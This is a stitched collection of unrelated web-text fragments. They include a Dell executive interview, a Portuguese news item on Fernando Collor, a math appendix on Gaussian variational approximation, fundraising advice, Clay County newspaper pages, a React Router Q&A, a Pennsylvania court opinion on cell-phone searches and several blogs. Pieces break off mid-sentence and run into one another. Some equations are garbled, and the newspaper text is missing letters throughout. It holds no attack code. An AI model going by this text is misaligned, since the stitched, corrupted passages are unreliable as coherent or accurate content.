decisions, invest for the long term. I think Dell World is a pretty good demonstration of the start to that in terms of the kind of things that we're doing. We innovate across a lot of spaces on behalf of our customers, and having the freedom to do that without this 89-day planning cycle is just delightful with a business with the scale of ours. Customer reaction has been very positive, business has been up double digits since we went private, so customers are throwing orders our way at a rapid rate. We're really thrilled with the results. When you talk about an end-to-end solutions strategy, that puts you in greater competition with HP, IBM, Oracle and Cisco. Some analysts have said these companies have a broader offering. Why should people choose Dell over any of those vendors? What is it that you can offer that these companies can't? If you look at the last 30 years, we've been able to grow against those competitors because we've offered differentiated value and solutions that really matter, and we haven't had a legacy of things to protect. You think about the infrastructure space, where we're innovating in the data center and now we're extending that into software and services, we don't have mainframes or mini-computers to protect.O senador licenciado Fernando Collor de Mello (Pros-AL) admitiu ao Supremo Tribunal Federal ( STF ) que pode ter cometido o "pecado" de não ter declarado obras de arte no Imposto de Renda (IR), mas rebateu as acusações de corrupção passiva e lavagem de dinheiro atribuídas a ele pela Procuradoria-Geral da República ( PGR ). A defesa pede que ele seja absolvido. As afirmações estão nas alegações finais apresentadas por Collor dentro da ação penal na qual ele é réu e que trata de desvios na BR Distribuidora, subsidiária da Petrobras na venda de combustíveis. O caso agora vai ser concluído pelo relator, Luiz Edson Fachin, e liberado para a revisão do ministro Celso de Mello. Depois disso, a Segunda Turma

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of a lifetime. Robbie said he was leaving and Jason said he was going with him – to South Africa. It looked like the only loser would be Holly… Then they all started getting into cars and you just knew that trouble was right around the corner. Holly has a few drinks. Jason phones and tells her to get to the airport for Robbie. With Cleo’s encouragement, Holly jumps in a car with her and races to the airport. They get there in one piece, too. But the journey home is an accident waiting to happen – and it comes in a devastating crash… Holly drinks, then she drives, then she crashes and is faced with the horror she’s caused--- title: Supplementary material --- Gaussian Variational Approximation {#GaussVar} ================================== We derive in this appendix the stationarity conditions for the KL divergence that define the Gaussian Variational Approximation (GVA), leading in particular to - in the main text. We denote $\bm{y}=(\bm{x},-\ii\bm{\hat{x}})$ in such a way that the joint “distribution” of $\bm{x}$ and $\hat{\bm{x}}$ can be written $$P(\bm{y})=\frac{e^{\mathcal{H}(\bm{y})}}{Z}P_0(\bm{x}(0))$$ with $P_0(\bm{x}(0))$ being the unknown initial probability distribution. We then proceed with the variational approximation by assuming that the approximating distribution is Gaussian $$P(\bm{y})=\frac{e^{\mathcal{H}(\bm{y})}}{Z}P_0(\bm{x}(0))\approx \mathcal{N}(\bm{y}| \bm{\mu}_{\rm gen}, \bm{C}_{\rm gen})=Q(\bm{y})$$ The Gaussian $\mathcal{N}(\bm{y}| \bm{\mu}_{\rm gen}, \bm{C}_{\rm gen})$ is completely determined by two sets of parameters, the vector of mean values $\bm{\mu}_{\rm gen}=\langle \bm{y} \rangle_Q$ and the covariance matrix $\bm{C}_{\rm gen}=\langle \bm{y} \bm{y}^{T}\rangle_Q - \bm{\mu}_{\rm gen} \bm{\mu}_{\rm gen}^T$. We define the Kullback-Leibler (KL) Divergence [@kullback] between $Q$ and $P$ $$\label{eq:KL} \begin{split} \text{KL}(Q||P)&=\int D\bm{y}\, Q(\bm{y})\ln {\frac{Q(\bm{y})}{P(\bm{y})}} =\\ &=\left\langle -\frac{1}{2}(\bm{y}-\bm{\mu}_{\rm gen})^{T}\bm{C}_{\rm gen}^{-1}(\bm{y}-\bm{\mu}_{\rm gen}) -\frac{1}{2}\ln{(2\pi)^d \det(\bm{C}_{\rm gen})} + \mathcal{H}(\bm{y}) + \ln{Z}-\ln{P_0(\bm{x}(0))} \right\rangle_{Q}=\\ &=-\frac{d}{2} -\frac{1}{2}\ln{\big[(2\pi)^d \det(\bm{C}_{\rm gen})\big]} + \ln{Z}-\big\langle \mathcal{H}(\bm{y})+\ln{P_0(\bm{x}(0))} \big\rangle_{Q} \end{split}$$ where $d$ is the dimension of the vectors involved, i.e. $d=N(2 T/\Delta+1)$ and $\Delta$ is the elementary time step. With real measures, $\text{KL}(Q||P)\geq0$ with equality if and only if $P(\bm{y})\equiv Q(\bm{y})$, so it can be seen as a measure of the dissimilarity (a “distance”) of the distributions $Q(\bm{y})$ and $P(\bm{y})$. This leads one to choose the variational parameters by minimizing the KL divergence, or more generally in the case of complex measures to make it stationary \[variational\] $$\begin{aligned} \frac{\partial \text{KL}}{\partial{\bm{\mu}_{\rm gen}}}=&0\label{firstvar} \\ \frac{\partial \text{KL}}{\partial{\bm{C}}_{\rm gen}}=&0\label{secondvar} \end{aligned}$$ Given the KL expression (\[eq:KL\]), the set of equations for the components of $\bm{\mu}_{\rm gen}$ reduces to $$\nabla_{\bm{\mu}_{\rm gen}} \left(\big\langle \mathcal{H}(\bm{y})+\ln{P_0(\bm{x}(0))} \big\rangle_{Q}\right)=0$$ while the equation for the inverse correlation matrix is $$\label{eq:correlvar} \frac{1}{2}\nabla_{\bm{C}_{\rm gen}}\ln{(\det\bm{C}_{\rm gen}})+\nabla_{\bm{C}_{\rm gen}}\left\langle \mathcal{H}(\bm{y}) \right\rangle_{Q}+\nabla_{\bm{C}_{\rm gen}}\left\langle \ln{P_0(\bm{x}(0))} \right\rangle_{Q}=0$$ For the first term in (\[eq:correlvar\]), one can exploit the properties $$\nabla_{\bm{C}_{\rm gen}}\ln{(\det\bm{C}_{\rm gen}})=\nabla_{\bm{C}_{\rm gen}}\operatorname{Tr}(\ln{\bm{C}_{\rm gen}})$$ $$\frac{\partial\operatorname{Tr}(\ln{\bm{C}_{\rm gen}})}{\partial (\bm{C}_{\rm gen})_{ijtt'}} = (\bm{C}_{\rm gen}^{-1})_{jit't}$$ and the following identities (see [@opper] for a proof) \[identity\] $$\begin{aligned} \nabla_{\bm{\mu}_{\rm gen}} \left\langle \mathcal{H}(\bm{y}) \right\rangle_{Q}=& \left\langle \nabla_{\bm{y}}\mathcal{H}(\bm{y})\right\rangle_{Q}\label{firstid}\\ \nabla_{\bm{C}_{\rm gen}} \left\langle \mathcal{H}(\bm{y}) \right\rangle_{Q}=&\frac{1}{2}\left\langle \nabla_{\bm{y}}\nabla_{\bm{y}}\mathcal{H}(\bm{y})\right\rangle_{Q}\label{secondid}\end{aligned}$$ To apply these, one has to calculate the derivatives of $\mathcal{H}(\bm{x},\bm{\hat{x}})$ with respect to the variables $\bm{x}$ and $-\ii\bm{\hat{x}}$ $$\label{eq:deriv1} \frac{\partial \mathcal{H}(\bm{x},\bm{\hat{x}})}{\partial (\text{i}\hat{x}_i(t))}= x_i(t+\Delta)-x_i(t)- \Delta\Phi_i(\bm{x}(t)) +\Delta\sum_{j} \text{i}\hat{x}_j(t)\Sigma_{ji}(\bm{x}(t))$$ $$\label{eq:deriv2} \begin{split} \frac{\partial \mathcal{H}(\bm{x},\bm{\hat{x}})}{\partial x_i(t)}&=\text{i}\hat{x}_i(t-\Delta)-\text{i}\hat{x}_i(t) -\Delta\text{i}\hat{x}_i(t)\frac{\partial \Phi_i(\bm{x}(t))}{\partial x_i(t)}+ \frac{\Delta}{2}\sum_{jk}\text{i}\hat{x}_j(t)\frac{\partial\Sigma_{jk}(\bm{x}(t))}{\partial x_i(t)}\text{i}\hat{x}_k(t) \end{split}$$ with = \_[j,l,j l]{}k\^[+]{}\_[ij,l]{}x\_j(t) + \_[j,l,jl]{}k\^[-]{}\_[i,jl]{}+\_[j]{}\_[ij]{}+\_[l]{}2k\^[+]{}\_[ii,l]{}x\_i(t)+\_[j]{}k\^[-]{}\_[i,jj]{} For the second derivatives we need a number of different combinations \[secondder\] $$\begin{aligned} \frac{\partial}{\partial x_j(t)}\frac{\partial \mathcal{H}(\bm{x},\bm{\hat{x}})}{\partial x_i(t)} &= -\Delta\text{i}\hat{x}_i(t)\frac{\partial}{\partial x_j(t)}\frac{\partial \Phi_i(\bm{x}(t))}{\partial x_i(t)}+ \frac{\Delta}{2}\sum_{lk}\text{i}\hat{x}_l(t)\frac{\partial}{\partial x_j(t)}\frac{\partial\Sigma_{lk}(\bm{x}(t))} {\partial x_i(t)}\text{i}\hat{x}_k(t)\\ \begin{split} \frac{\partial}{\partial (\text{i}\hat{x

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they do. Good planning starts with an understanding of where you are. How are you fundraising or marketing? Who are you reaching out to? And what are the results? I think it is also helpful to consider what you are leaving on the table because of what you are not doing. Then think about where you want or need to be. Often my clients become clients because they have been deficit fundraising for a long time. Instead of planning for where they want to be, they scramble about trying to fill a hole—ignoring the fact that what immediately surrounds that hole probably isn’t enough to fill it. Now that you know where you are and where you want to go, our job is to create that roadmap that will get you there in the most effective and efficient way. Good road trips first consider the entire map: from point A to point Z, there are many paths. Which ones are we going to use? How can one stop serve more than one purpose? And, as we travel from spot to spot, how can we preserve memories? Preserving memories is to travel what stewardship is to fundraising—a way to prolong the pleasure, and keep the connection strong. Planning your fundraising means planning it all—from identifying and qualifying your donors, to keeping them close and wanting to be re-identified for that next gift. Walk carefully through every step and always be looking both backward and forward. In this way, you will create a world of support for the important work you do. Janet Levine helps nonprofits move from mired to inspired. Learn how at www.janetlevineconsulting.com. While there, sign up for the newsletter and do connect with Janet to get a free 30-minute consultation. In the documentary series, Soundbreaking (now available on Acorn), one of the producers talks about the fact that there are just so many notes and so many beats in the world of music. Repetition and sometimes things that may sound like plagiarism abounds. Or, as Picasso is widely attributed as saying “good artists borrow, great artists steal.” I’m not advocating plagiarism, but I do know that there is just so much that is truly new in the world and much that is merely retreads. Retreads, of course, aren’t always bad or boring or something to be avoided at all costs. Sometimes they are the only, the best, the most effective thing you can do. This is particularly true in fundraising. There are many people who think that following the newest, shiniest idea is what you need to do. However, often, the tried, the true, create a better path. Doing something once doesn’t always make it; doing something because no one else is doing it may simply prove to you why no one else is doing it. In fundraising what really works is building relationships between the donor and the organization. That means more personally than social media, closer than direct mail, more intimately than a large special event. While all the transactional ways of fundraising can help to garner new donors and keep lower-end gifts coming in, they are truly awful in retaining donors (just look at our dismal donor retention rates) or moving donors up the giving pyramid. Both those things—which if successful would increase your fundraising results by a great deal—are best done face to face. And yes, I know—you don’t have the time and even if you did, donors don’t respond to requests for meetings. But of course you do and they will, it just takes planning. Plan to do your major donor strategizing at least 4 hours a week. That’s arguably more important than the 4 hours you are currently spending on the gala committee meeting or rewriting the renewal grant (which, as a renewal, shouldn’t take much time at all). Learn all you can about these prospects, including what they care about and who they connect to. And then utilize those connections and that caring as you plan how to get in front of that prospect. In my fundraising days, rarely did the natural partner—the person who could best open the door to a prospect—actually call for the appointment. That, we both (eventually) agreed, was my job. But I did use their connection to help get that meeting. First I would ask them to send a note (or in later years, send an email) saying how they had asked Janet Levine to set up a meeting for the three (or four, if a spouse or partner was to be included) of us and that it was hoped that my call would be taken. It almost always was. When I called, I didn’t say that so and so suggested I call. Rather, I would say that so and so asked me to set up a meeting for the three of us. Most of the time, the only hitch was finding a time when the 3 of us could actually be in the same place at the same time. Following the “old” ways, using the structures those way before we developed, has helped me to raise and to help my clients to raise a whole heck of a lot of money. Doing what works, standing on the shoulders of the best, will help you to do the same. “We decided to do a gala this year,” my former client was telling me. “And our net profits are 10 times what our goal was.” That sounds fantastic, until I asked a few pertinent questions, starting with, “Is this new money? Or are you simply moving money from the annual fund, where the donor typically gives to the gala?” If Joe typically gives you $2,500 a year for your end of the year appeal, but this year tells you to put that amount toward the gala instead, you actually have lost money. Costs to produce a gala are way higher than the cost of an appeal (or a phone call or coffee meeting with a loyal annual donor), and those costs eat into your net profits. Moving money from one pot to another may make that second pot look good, but it really doesn’t do anything for your bottom line. The next question will take at least another year to quantify, but it is an important measure: How much of the money that came in from new donors for the gala translates into ongoing support from that donor? If Joan bought a ticket, a table, or even a sponsorship this year because a friend asked her to, or that friend was an honoree, was the purchase solely because of the friend or does Joan have any interest at all in what your organization does? If the former, odds are, you will get that one-time gift and then never see hide nor hair of Joan again. Finally, while there are reasons to have large special events, the fact remains that they cost a lot to produce, not just in the direct costs but in the very high indirect costs. The time your development staff and your ED spends on the gala means that much LESS time to be spent on other kinds of fundraising and outreach. The opportunity costs can be huge. Of course, a big event offers much in the way of possibilities—if you work those. I’m always surprised when fundraisers tell me how they can’t wait until the week after their special event because they will be on vacation for the following two weeks. That’s crazy. While you may have worked hard during the two or three months prior to the event, the real work—the profitable work—actually starts the day after the event. Just a few things can make a huge difference: A personal thank you note from the gala chair or the CEO to first time attendees, thanking them for being there. And then, in a few weeks, a personal invitation from the letter writer to take a tour, come for coffee, have a meeting to share the results of the gala and what it will mean to the organization. Another personal note to loyal donor, telling them how their support over the years has meant. This is also a good time to remind them that as important as their support for the gala was, their general support is equally (if not more so) critical for the work that the organization does. This is also a time to run some lists and figure out strategies for bringing these event attendees closer: Who, of your gala attendees, is also a current donor? A former/lapsed donor (haven’t made a gift for at least a year before this gala) For these cohorts, drill down further and look at the date of the last gift, the amount, the purpose of that gift and the total number of years as a donor. From this information, you can create both group and—where appropriate—specific stewardship steps that are geared to move non-donors to becoming donors; low end donors to become mid-level donors and mid-level to either increase their gifts and/or become major gift prospects. No matter how successful you think your event has been, you can make it even more successful by considering it a move in donor journey rather than simply a stop along the way. Janet Levine moves nonprofits from mired to inspired by helping them to increase their fundraising results and empower, engage and energize their boards. Learn more at http://janetlevineconsulting.com. While there, sign up for the newsletter and for a free 30-minute consultation. Still waiting for that magic bullet? That one thing that you’ll do that will bring in all the money? That special thing that is keeping you from doing actual fundraising because, well, you know, you

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arrested in the drug operation that involved four homes. Clay County Animal Care and Control responded to the scene on June 12 and then hauled the animals back to their facility at 3984 State Rd. 16 West. The horse is considered abandoned, Dempsey said. Whoever lived there had basically given up the animals. Dempsey a self-described animal lover said whoever buys the horse and goats at auction will have to name them. She said if it were up to her, she would have given them names already. It is her hope that all of the animals nd homes where they will be cared for and loved. Weve had some horses in the past go for as little as one dollar and others we had to send off to rescue [organizations] because no one bid on them, she said with a sad lilt to her voice. The auction will be held at the Animal Control center in the Penney Farms area and will be coordinated by CCSO of cials. Any funds collected from the auction will go back to the Animal Control center to pay for the care and feeding the animals have been receiving the past month, Dempsey said. CCSO investigators arrested Raluxi Raul Erbiti, 37, Yandriel Urbay Gonzalez, 23, Jonny Valdespino Gordillo, 32, Jaime Mora, 39, on June 12 and Antonio Santos, 26, on June 13 as part of the bunker pot operation.Animals left at pot grow house to be auctioned off OPINION July 18, 2013 CLAYTODAYONLINE.COM of the weekQuestion What would you like to see the Clay County Government spend more money on?More money needs to be spent on schools and nances for teacher resources. We really need better teachers. Brian Nonato Middleburg Compiled and photographed by Sarah Wakeeld Rosser and Tatila BrockI came from France where I lived for 15 years and I waited 11 years to get my green card, and its perfect. I wouldnt change anything about the county. Said Aitlhou Fleming Island I would say teachers because Ive heard a lot of them are leaving to go to other counties like Duval and Putnam because they arent getting paid enough. I would also like to see the libraries open on weekends for people who work during the week. Robert Woods Orange Park Library and schools. I think kids need more attention and those are two things the county is lacking in. Mary McLean Fleming Island Teachers because thats the way the younger generation will become better educated and be more independent when they enter the real world. If we have good teachers teaching our students, well have better outcomes. Perna Jones Middleburg Guest Column to the Editor in historyLetters This week By Sarah Wakeeld RosserDevelopment Authority member says If you build it, they will comeAs a board member of the Clay County Development Authority, I have been in volved in bringing the Big League Dreams organization to our area. I served as chair of the board when the licensing agreement was signed in 2011. As we move forward, I am compelled to make sure the citizens of Clay County are aware of why I believe in and support this project. I was admittedly skeptical when initially approached about Big League Dreams, but agreed to do some research and even tually decided to visit an existing facility. I made the trip to Manseld, Texas, just out side of Dallas, in the fall of 2011. There I was greeted by dozens of workers who took pride in showing off their place of employ ment at the meticulously maintained BLD complex. I then walked by Wrigley eld, where young athletes from Kansas were squaring off against a team from Iowa in front of a full house of fans sitting in stadium-style seats. I was told that these were two of dozens of teams from outside of the Dal las area who would be making Manseld their temporary home for the weekend. I approached a parent of one of the players to ask her opinion of the facility. She explained that it wasnt her rst trip to Manseld and that she looked for ward to this trip every year. She went on to add that her sons team had a block of 20 hotel rooms for three nights that week end. She told of how her family enjoyed the nearby water park on her previous trip and discussed her plans for the rest of the weekend, which included dinner and a movie that night. I soon realized that this parents sto ry could have just as easily been told by countless others that weekend one of the 50 weekends that year that BLD Manseld hosted tournament play. I knew at that point that what I was witnessing needed to happen in my home county. I saw rsthand that if you build it, they will come. Ive heard from some in our community 2003, 10 Years Ago Orange Park head football coach, Roan McCrone, resigned to take an assistant coaching position with Southwest Missouri State University. The mystery surrounding the shooting death of 18-year-old Keith Kyle Lavinder was put to rest when his close friend, Bri an Curtis Avery, was arrested and charged with second degree murder. The Department of Health issued up dates on the monitoring of the West Nile Virus, a mosquito-borne disease. Pete Bethel, long time owner of Petes Hamburger Restaurant, said so long to his Green Cove Springs landmark as it switched ownership for the rst time in more than 30 years and was bought by Mike Meehan. After 37 years, Clay High School coach William Ronald Riddle decided to retire. 1993, 20 Years Ago The Hospital Corporation of America toured Clay Memorial Hospital in Green Cove Springs and talked about the possibility of reopening and running the closed hospital. SEE LETTER, 5 SEE HISTORY, 5 ClaricationIn a June 20 police brief headlined Orange Park man faces three counts of lewd and lascivious battery, it was stated that Christopher David Sumpter, 20, had committed the alleged acts while at a LAN center at 920 Blanding Blvd. However, the owner of the LAN center, on May 4 prior to Sumpters June 12 arrest led trespassing charges against Sumpter, and banned him from the LAN center. The Lan center owner said she told the Clay County Sheriffs Ofce that the incidents for which Sumpter is charged, took place at each vic tims home and not the LAN center. As the daughter of two avid readers, my earliest memories are of the childrens book section in the Green Cove Springs Li brary. My mother would approach the return desk with an armful of books and that was my cue to make a beeline for the sec tion lled with age appropriate books. I would devour books while sitting on the oor in the middle of the rows in lieu of the tables or reading mats. Before making a check-out stack, I had to read the rst few pages to make sure it was worthy of the trip home. My mother worked for the library sys tem when my brother and I were very young and she would wave to old friends upon arrival. During the summer months, we had a routine in Green Cove Springs: wed hit the library rst, then the play ground or the chilly spring-fed pool. Wed look for crawdads in the creek before hopping in the car, dead tired, where our books were waiting to be thumbed through. We visited the different library branch es and their books, never growing tired of the endless supply. If a book was placed in front of me, I was going to read it, especially if it was about the Boxcar Children, wild rumpuses, Nancy Drews shenanigans with those Hardy brothers or the Baby Sit ters Club.en My parents love of the library was passed on to me as well as a respect for education. The library was not just a delicious house of books, it was a place where I could learn about new ideas, how to make friendship bracelets, nd bugs or creatures of the deep. All those summer days spent lying on the cool oor of the library were noth ing like they are today. Although I found it incredibly entertaining, the library has evolved to reach out to children who may need a little coaxing to enter a library. Ive been visiting the different library branches for their summer program Dig Into Reading. Kids are creating top hats out of papier mch, dressing up as zombies, and learning about the steampunk subculture and they are doing these things all Summer leads to reading Sarah Wakeeld RosserSEE GUEST, 5 PAGE 5 COMMUNITY JULY 18 2013 CLAY TODAY 5 CLAYTODAYONLINE.COM Call Bonni Wilford to start SAVING Today! WILFORD PROPANE GAS WPG904-891-9689 706 Kingsley Ave. Orange Park | Bonni@wilfordpropane.netPay Only Family-Owned Celebrating over 60 years! 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Football League officials Category:People from Greater Los Angeles Category:California State University, Fullerton alumni Category:Azusa Pacific University alumni Category:People from La Mirada, CaliforniaORANGE HILL, Jamaica — It's hard to believe lighting up a joint was illegal in Jamaica until about four years ago. But since a 2015 law change, individuals can have a small amount of ganja for personal use, medical sales are allowed, and ganja tourism is on the rise. Which all means permits are being issued for growers and other ganja-related businesses. The question that worries locals is: Who's going to profit from this? Jamaicans, or somebody else? The ganja gold rush has attracted foreign investors pumping in money and setting up shop on the island. Smaller local farmers, many of whom had been harassed and punished for growing in the past, simply can’t compete. It now costs $2,000 for a growing license and $10,000 for a distributor's license, and the application process can be difficult. “I'm not saying all of these investors coming in are evil,” says Ras Iyah V, an activist who's been fighting for ganja legalization for years. “I'm just saying most of these coming in are concerned with money. About making money out of an industry that our people have suffered for.” VICE News visited Jamaica to find out what the future of ganja is on the island.One actor accidentally shot another actor and a bystander Sunday afternoon during a Wild West re-enactment in Arizona. Tom Carter, a member of the Tombstone Vigilantes group, fired live rounds instead of blanks during a staged gunfight at the OK Corral and shot fellow actor Ken Curtis in the upper groin. Police discovered a woman, identified as Debbie Mitchell, was struck by shrapnel while standing in front of the Bird Cage Theater, but she refused medical treatment. ADVERTISEMENT Curtis underwent surgery at a Tucson hospital to have the bullet removed. Carter also shot two nearby businesses during the stunt performance at the historic attraction’s “Helldorado Days” weekend. Police said Carter arrived late to the event and failed to have his gun properly inspected, and investigators determined he fired five live rounds from the cylinder and had one remaining in the weapon. Officials insisted the shootings were an isolated incident and assured visitors that all safety protocols would be enforced before gunfight re-enactments on Allen Street. “Tombstone takes pride in the safety and security of its townspeople and tourists alike, and the citizens of Tombstone can be assured that stringent safety protocol will be enforced prior to allowing any further gunfight skits,” the U.S. Marshal’s Office said in a statement. ADVERTISEMENT Authorities did not indicate whether any charges would be filed in the shootings. The Tombstone Vigilantes were founded in 1946 to preserve the town’s history. The group performs staged gunfights and mock hangings of unsuspecting victims, according to the nonprofit group’s website. ADVERTISEMENT The once-bustling mining town near the U.S.-Mexico border is perhaps most famous for the 1881 “Gunfight at the O.K. Corral,” which has been depicted in numerous films, between outlaw cowboys and lawmen including Wyatt Earp and Doc Holliday. Three tourists were injured in a similar shooting in June 2011 during a staged gunfight in the Old West town of Hill City, South Dakota, and a Florida man also said he was struck by debris fired by a weapon during a previous re-enactment in 2001. ADVERTISEMENT Watch this scene depicting the gunfight from “Tombstone” posted online:Q: Unable to pass props to component through react-router I am unable to pass props using react-router. My code till now: import React from'react'; import ReactDOM from'react-dom'; import { BrowserRouter, Route, Switch } from'react-router-dom'; import 'normalize.css/normalize.css'; import './styles/styles.scss'; const EditExpensePage = props => { console.log(props); return <div>Editing the expense with id of </div>; }; const AppRouter = () => { return ( <BrowserRouter> <div> <Switch> <Route path="/edit/:id" component={EditExpensePage} /> </Switch> </div> </BrowserRouter> ); }; ReactDOM.render(<AppRouter />, document.getElementById('appDiv')); Error screenshot I am trying to access the id in console as simple as that. The error is showing only when I am trying to pass props path="/edit/:id" Source Link: https://reacttraining.com/react-router/web/api/Route/route-props A: This is the same problem as in this question. The problem is specific to the setup. As shown in error message, bundle.js is loaded from current path, /edit/bundle.js, while it should be loaded from /bundle.js. Scripts should either have absolute paths: <script type="text/javascript" src="/bundle.js"></script> Or base URL should be specified: <base href="/"> Even given the current decibel level in politics, the nasty din surrounding the customarily snore-inducing rubber-stamping of local school board budgets in New Jersey last week was something to behold. Let’s go to the videotape. There was that subtle memo from Bergen County representatives of the state teachers’ union castigating Gov. Christopher J. Christie and ending with a prayer that seemed to want him dead. “Dear Lord,” it read, noting that God had taken the author’s favorite actor, Patrick Swayze; favorite actress, Farrah Fawcett; favorite singer, Michael Jackson; and favorite salesman, Billy Mays. “I just wanted to let you know that Chris Christie is my favorite governor.” There was the governor’s tactful accusation that teachers were “using the students like drug mules” to carry information about whether their parents planned to vote — this based on what teachers said was a third-grade teacher’s civic lesson on voter participation that had nothing to do with how they would vote. And after Mr. Christie urged voters to reject budgets in districts where teachers had not agreed to a one-year wage freeze and new contributions to health benefits, voters defeated 58 percent of the 541 proposed budgets, the highest rejection rate since school boards began keeping track in 1976. [J-55-2017] IN THE SUPREME COURT OF PENNSYLVANIA EASTERN DISTRICT SAYLOR, C.J., BAER, TODD, DONOHUE, DOUGHERTY, WECHT, MUNDY, JJ. COMMONWEALTH OF PENNSYLVANIA, : No. 3 EAP 2017 : Appellee : Appeal from the Judgement of Superior : Court entered on 04/27/2016 at No. : 1729 EDA 2014 (reargument denied v. : 06/09/2016) affirming the Judgement of : Sentence entered on 01/17/2014 in the : Court of Common Pleas, Philadelphia I. DEAN FULTON, : County, Criminal Division at No. CP-51- : CR-0012441-2010 Appellant : : ARGUED: September 12, 2017 OPINION JUSTICE DONOHUE DECIDED: February 21, 2018 In this discretionary appeal, we consider the permissible scope of a warrantless search of a cell phone by police and the confines of the harmless error doctrine. Specifically, we must determine whether powering on a cell phone to gather evidence, without a warrant, violates the Fourth Amendment to the United States Constitution1 and Article I, Section 8 of the Pennsylvania Constitution,2 and, if so, whether the 1 “The right of the people to be secure in their persons, houses, papers, and effects, against unreasonable searches and seizures, shall not be violated, and no Warrants shall issue, but upon probable cause, supported by Oath or affirmation, and particularly describing the place to be searched, and the persons or things to be seized.” U.S. Const. amend. IV. 2 “The people shall be secure in their persons, houses, papers and possessions from unreasonable searches and seizures, and no warrant to search any place or to seize (continued…) decision to allow the Commonwealth to present evidence obtained as a result of the warrantless search was harmless beyond a reasonable doubt. For the reasons that follow, we hold that accessing any information from a cell phone without a warrant contravenes the United States Supreme Court’s decision in Riley v. California and United States v. Wurie, 134 S. Ct. 2473 (2014) (hereinafter

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re alt geworden. Das ist zumindest die offizielle Version, als Geburtsjahre kursieren auch 1918 und 1919. Im August zeigte sich Frédéric Prinz von Anhalt sicher, dass sie ihren 100. Geburtstag noch erleben würde. Nun sei sie friedlich entschlafen, sagte der Deutsche, mit dem Gabor seit 1986 verheiratet war. "Alles war in Ordnung und plötzlich wurden ihre Hände kalt." Er habe dann einen Krankenwagen gerufen, sie sei aber nicht mehr zu retten gewesen. Über die Beerdigung habe er sich noch keine Gedanken gemacht. "Keine Ahnung. Wir hatten doch gerade den Weihnachtsbaum und das ganze Schlafzimmer dekoriert, das Feuer brannte, überall waren rote Blumen, es war eine herrliche Weihnachtsstimmung. Und sie war so happy, als sie den Weihnachtsbaum gesehen hat."Follow us! Newsletter Intelligence nuggets Disclaimer SWISS-INTELLIGENCE.INFO makes reasonable efforts to provide relevant content and reliable sources for the Swiss Intelligence Community – in English, German and French. However, we do not guarantee the accuracy or endorse the views given by any third-party content provider. This site may point to other Internet sites that may be of interest to you, however we do not not take responsibility for the content on such other sites.RELATED ITEMS These are accessible with us in various terms to meet the requirements of our domestic customers. These chemicals are pure as they are procured from pure chemical substance. These give constant, undisturbed, uniform blue flame without any deposition of soot or smoke. This is basically a fluid kind of gel that is used for various purposes. Made of durable corrosion resistant shiny finished stainless steel material Can be conveniently stored on pot rim or hung on rack Used for small condiments, or large soup pots Dishwasher safe and easy to clean Keep your drinking water with Twin Weston Station that can be used for parties and traveling. Twin Station with a beautiful design and unique it can store two kinds of drinks. Anti Spill Weston Drink Station has a lid that is designed specifically to prevent the risk of spills. Use this 6″ stainless steel tong for buffets and self-serve stations at your restaurant or catered event. This tong’s rigid grips are perfect for selecting fruit, vegetables, cheese cubes, deli meat cubes, candies, garnishes, salad toppings, and other cold foods. Thanks to its 6″ length, this tong is easily manageable while keeping guests’ or servers’ hands safely away from your food! Made of stainless steel, this durable tong is built to last! Plus, its simple… This product is composed of: 18/10 stainless steel cover, chromeplated warmer & rack, and ovenproof glass dish. A beautiful master piece on the buffet table for parties and family gatherings. Ideal gift to family and friends too.Thursday, July 25 MATCHBOX vehicles are coming... Since my last post, I've been hard at work bringing the next batch of Matchbox vehicles for 2014 at Mattel in El Segundo, California. The design approach focuses on a child's love of the INDUSTRIAL and the extremely RUGGED---we call it Matchbox-izing---a great way to separate itself from Hot Wheels' more sleek and design-y approach. Some "licensed" vehicles from GM, Ford, and Toyota will also be included in the batch, approaching these with a more subtle rugged feel to keep the licensors happy. The link will send you to a super collector's blog of many die-cast vehicle brands who got Mattel's permission to go behind the scenes and photograph work-in-progress 3D prints of the vehicles, with some of them (the multi-colored versions) coming as rare "first shots" from the manufacturing plant for review, awaiting my approval to move forward to the production version---i.e. retail store editions!--- coming next year. It's been very exciting being able to make these cars for the world---I've learned a whole lot in making these little toys but it's all been worth the long hours. I'll keep you posted on further progress as we go! Click the link now! 0 comments: Post a Comment My Website About Me Miguel is a professional artist with experience in concept art, graphic art comps, posters, and storyboards for the entertainment industry. His clients include Mattel, Travel the Road, Ford, Lexus, Konami, HBO, and Dreamworks. Miguel also designed at Mattel working on Hot Wheels and Matchbox vehicles. He is also currently teaching in Madrid, Spain. You can contact him at mlopezart@yahoo.com.Saturday, January 2, 2010 Heart Health I had a conversation with my sister that made me start thinking seriously about heart health and what to eat to promote a healthy heart. My grandma and grandpa on one side, and my grandpa on the other side all had heart surgery for blocked arteries and heart problems. My husband’s family has so many different heart issues, whether it be for defects or other problems. Knowing that there are heart problems on both sides of our families is a huge wake up call to me. What can I do to promote a healthy heart? I decided to do some research. Mayo Clinic has come up with a List of 7 steps to promote a healthy heart diet. I have listed these seven steps along with steps that I can take to incorporate them into my life, some the Mayo Clinic Staff mentioned in the article, and some that I came up with myself. 1. Limit unhealthy fats and cholesterol What I can do: * Use Olive Oil when cooking. This is something that I already do, but something that I can continue. * Watch prepackaged foods and avoid saturated fats. Watch out for hydrogenated oils in the ingredients. * Get healthy fats from nuts and other natural foods. * Continue using Smart Balance margarine. Look for margarine that does not have saturated fats, to replace butter with, while baking. 2. Choose Low Fat Protein Sources What I can do: * Eat more fish. * Eat more legumes. * Eat less red meat. While this would be a fantastic idea, we also get a freezer full of red meat every year from the in-law’s. It would not be practical to eliminate red meat, but it would be a great idea to find ways to make eat red meat healthier. I drain the fat and trim the fat when cooking red meat. It may be possible to substitute beans for half of the meat, or at least a portion of the meat in recipes. This would add veggies and fiber. Any ideas on this one? Or is there no way to avoid the unhealthy sides of red meat? *Pay attention to the nutrition labels- go for the low fat options. 3. Eat More Vegetables and Fruits What I can do: * Get at least 5 a day in, sure wouldn’t hurt to get more! I have a problem with snacking, why not replace those unhealthy snacks with fruits and veggies? 4. Select Whole Grains What I can do: * Lately, I have been selecting the cheapest bread to try to save money. By choosing breads with whole grains, I could save much more money in the long run by avoiding medical complications. Once again, read the labels! * Always buy whole wheat pastas and brown rice. * Pay attention to the fiber content when selecting cereals. What is the cereal made from? Mayo Clinic recommends 5 grams of fiber or more. * Buy whole wheat flour to bake with. Even if I substitute half of the what the recipe calls for with whole wheat flour, this still makes it healthier for the heart. * Continue eating oatmeal for breakfast. I always eat the oatmeal from the can, not the packets. The packets are almost always filled with sugars. 5. Reduce Salt in Your Food What I can do: * Do not add salt while cooking. This is one thing that I have been faithful in since starting this journey to a healthy 